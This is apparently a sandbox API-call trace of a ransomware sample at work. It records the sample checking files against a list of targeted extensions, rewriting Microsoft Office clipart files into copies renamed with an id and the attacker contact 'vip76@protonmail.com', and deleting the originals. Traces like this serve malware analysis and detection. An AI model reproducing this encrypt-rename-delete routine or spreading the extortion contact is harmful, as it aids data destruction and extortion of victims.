	[0208.322] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.322] SetEndOfFile (hFile=0x38c) returned 1
	[0208.323] CloseHandle (hObject=0x38c) returned 1
	[0208.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 1
	[0208.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0208.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0208.324] lstrlenW (lpString=".doc") returned 4
	[0208.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.324] lstrlenW (lpString=".docx") returned 5
	[0208.324] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.324] lstrlenW (lpString=".pdf") returned 4
	[0208.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.324] lstrlenW (lpString=".xls") returned 4
	[0208.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.324] lstrlenW (lpString=".xlsx") returned 5
	[0208.324] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.324] lstrlenW (lpString=".ppt") returned 4
	[0208.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0208.324] lstrlenW (lpString=".zip") returned 4
	[0208.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.324] lstrlenW (lpString=".rar") returned 4
	[0208.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.324] lstrlenW (lpString=".bz2") returned 4
	[0208.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.324] lstrlenW (lpString=".7z") returned 3
	[0208.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0208.324] lstrlenW (lpString=".dbf") returned 4
	[0208.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0208.324] lstrlenW (lpString=".1cd") returned 4
	[0208.324] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0208.324] lstrlenW (lpString=".jpg") returned 4
	[0208.324] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0208.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0208.325] lstrlenW (lpString=".doc") returned 4
	[0208.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.325] lstrlenW (lpString=".docx") returned 5
	[0208.325] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.325] lstrlenW (lpString=".pdf") returned 4
	[0208.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.325] lstrlenW (lpString=".xls") returned 4
	[0208.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.325] lstrlenW (lpString=".xlsx") returned 5
	[0208.325] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.325] lstrlenW (lpString=".ppt") returned 4
	[0208.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0208.325] lstrlenW (lpString=".zip") returned 4
	[0208.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.325] lstrlenW (lpString=".rar") returned 4
	[0208.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.325] lstrlenW (lpString=".bz2") returned 4
	[0208.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.325] lstrlenW (lpString=".7z") returned 3
	[0208.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0208.325] lstrlenW (lpString=".dbf") returned 4
	[0208.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0208.325] lstrlenW (lpString=".1cd") returned 4
	[0208.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0208.325] lstrlenW (lpString=".jpg") returned 4
	[0208.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.326] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0208.326] lstrlenW (lpString="HH01242_.WMF") returned 12
	[0208.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0208.326] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=7340) returned 1
	[0208.326] CloseHandle (hObject=0x38c) returned 1
	[0208.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x220
	[0208.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0208.326] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.327] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0208.328] GetLastError () returned 0x0
	[0208.328] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x1cac, lpOverlapped=0x0) returned 1
	[0208.329] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0x1cb0, lpOverlapped=0x0) returned 1
	[0208.330] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.330] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.330] SetEndOfFile (hFile=0x350) returned 1
	[0208.330] CloseHandle (hObject=0x350) returned 1
	[0208.330] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.330] SetEndOfFile (hFile=0x38c) returned 1
	[0208.331] CloseHandle (hObject=0x38c) returned 1
	[0208.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 1
	[0208.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0208.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0208.332] lstrlenW (lpString=".doc") returned 4
	[0208.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.332] lstrlenW (lpString=".docx") returned 5
	[0208.332] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.332] lstrlenW (lpString=".pdf") returned 4
	[0208.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.332] lstrlenW (lpString=".xls") returned 4
	[0208.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.332] lstrlenW (lpString=".xlsx") returned 5
	[0208.332] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.332] lstrlenW (lpString=".ppt") returned 4
	[0208.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0208.332] lstrlenW (lpString=".zip") returned 4
	[0208.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.332] lstrlenW (lpString=".rar") returned 4
	[0208.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.332] lstrlenW (lpString=".bz2") returned 4
	[0208.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.332] lstrlenW (lpString=".7z") returned 3
	[0208.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0208.333] lstrlenW (lpString=".dbf") returned 4
	[0208.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0208.333] lstrlenW (lpString=".1cd") returned 4
	[0208.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0208.333] lstrlenW (lpString=".jpg") returned 4
	[0208.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0208.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0208.333] lstrlenW (lpString=".doc") returned 4
	[0208.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.333] lstrlenW (lpString=".docx") returned 5
	[0208.333] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.333] lstrlenW (lpString=".pdf") returned 4
	[0208.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.333] lstrlenW (lpString=".xls") returned 4
	[0208.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.333] lstrlenW (lpString=".xlsx") returned 5
	[0208.333] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.333] lstrlenW (lpString=".ppt") returned 4
	[0208.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0208.333] lstrlenW (lpString=".zip") returned 4
	[0208.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.333] lstrlenW (lpString=".rar") returned 4
	[0208.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.333] lstrlenW (lpString=".bz2") returned 4
	[0208.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.333] lstrlenW (lpString=".7z") returned 3
	[0208.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0208.334] lstrlenW (lpString=".dbf") returned 4
	[0208.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0208.334] lstrlenW (lpString=".1cd") returned 4
	[0208.334] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0208.334] lstrlenW (lpString=".jpg") returned 4
	[0208.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.334] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0208.334] lstrlenW (lpString="HH01291_.WMF") returned 12
	[0208.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0208.334] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=15806) returned 1
	[0208.334] CloseHandle (hObject=0x38c) returned 1
	[0208.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x220
	[0208.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0208.335] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.335] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0208.336] GetLastError () returned 0x0
	[0208.336] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x3dbe, lpOverlapped=0x0) returned 1
	[0208.337] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0x3dc0, lpOverlapped=0x0) returned 1
	[0208.338] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.338] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.338] SetEndOfFile (hFile=0x350) returned 1
	[0208.338] CloseHandle (hObject=0x350) returned 1
	[0208.338] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.338] SetEndOfFile (hFile=0x38c) returned 1
	[0208.339] CloseHandle (hObject=0x38c) returned 1
	[0208.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 1
	[0208.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0208.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0208.340] lstrlenW (lpString=".doc") returned 4
	[0208.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.340] lstrlenW (lpString=".docx") returned 5
	[0208.340] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.340] lstrlenW (lpString=".pdf") returned 4
	[0208.340] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.340] lstrlenW (lpString=".xls") returned 4
	[0208.340] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.340] lstrlenW (lpString=".xlsx") returned 5
	[0208.340] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.340] lstrlenW (lpString=".ppt") returned 4
	[0208.340] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0208.340] lstrlenW (lpString=".zip") returned 4
	[0208.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.341] lstrlenW (lpString=".rar") returned 4
	[0208.341] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.341] lstrlenW (lpString=".bz2") returned 4
	[0208.341] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.341] lstrlenW (lpString=".7z") returned 3
	[0208.341] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0208.341] lstrlenW (lpString=".dbf") returned 4
	[0208.341] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0208.341] lstrlenW (lpString=".1cd") returned 4
	[0208.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0208.341] lstrlenW (lpString=".jpg") returned 4
	[0208.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0208.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0208.341] lstrlenW (lpString=".doc") returned 4
	[0208.341] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.341] lstrlenW (lpString=".docx") returned 5
	[0208.341] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.341] lstrlenW (lpString=".pdf") returned 4
	[0208.341] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.341] lstrlenW (lpString=".xls") returned 4
	[0208.341] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.341] lstrlenW (lpString=".xlsx") returned 5
	[0208.341] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.341] lstrlenW (lpString=".ppt") returned 4
	[0208.341] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0208.341] lstrlenW (lpString=".zip") returned 4
	[0208.341] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.341] lstrlenW (lpString=".rar") returned 4
	[0208.342] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.342] lstrlenW (lpString=".bz2") returned 4
	[0208.342] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.342] lstrlenW (lpString=".7z") returned 3
	[0208.342] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0208.342] lstrlenW (lpString=".dbf") returned 4
	[0208.342] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0208.342] lstrlenW (lpString=".1cd") returned 4
	[0208.342] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0208.342] lstrlenW (lpString=".jpg") returned 4
	[0208.342] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.342] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0208.342] lstrlenW (lpString="HH01329_.WMF") returned 12
	[0208.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0208.342] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=6016) returned 1
	[0208.342] CloseHandle (hObject=0x38c) returned 1
	[0208.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x220
	[0208.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0208.343] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.343] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0208.344] GetLastError () returned 0x0
	[0208.344] ReadFile (hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0) 

Thread:
	id = 94
	os_tid = 0xf90

	[0205.077] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x631018
	[0205.077] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x641020
	[0205.078] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df290
	[0205.078] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x6) returned 0x5ec700
	[0205.078] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df1e8
	[0205.078] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x100000) returned 0x3c62020
	[0205.080] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df218
	[0205.080] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5df218, Size=0x20) returned 0x59e0b8
	[0205.081] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df2f0
	[0205.081] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5df2f0, Size=0x20) returned 0x59e180
